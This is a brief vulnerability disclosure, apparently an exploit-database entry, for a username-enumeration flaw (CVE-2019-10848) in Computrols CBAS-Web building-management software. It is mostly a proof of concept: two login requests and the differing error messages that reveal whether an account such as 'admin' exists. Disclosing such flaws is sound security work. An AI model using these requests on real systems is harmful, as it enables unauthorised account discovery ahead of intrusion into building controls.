Computrols CBAS-Web Username Enumeration Affected versions: 19.0.0 and below CVE: CVE-2019-10848 Advisory: https://applied-risk.com/resources/ar-2019-009 Paper: https://applied-risk.com/resources/i-own-your-building-management-system Discovered by Gjoko 'LiquidWorm' Krstic Testing for non-valid user: POST /cbas/index.php?m=auth&a=login HTTP/1.1 username=randomuser&password=&challenge=60753c1b5e449de80e21472b5911594d&response=e16371917371b8b70529737813840c62 Response for non-valid user: <!-- Failed login comments appear here --> <p class="alert-error">randomuser</p> ======================================================================== Testing for valid user: POST /cbas/index.php?m=auth&a=login HTTP/1.1 username=admin&password=&challenge=6e4344e7ac62520dba82d7f20ccbd422&response=e09aab669572a8e4576206d5c14befc5s Response for valid user: <!-- Failed login comments appear here --> <p class="alert-error">Invalid username/password combination. Please try again!</p>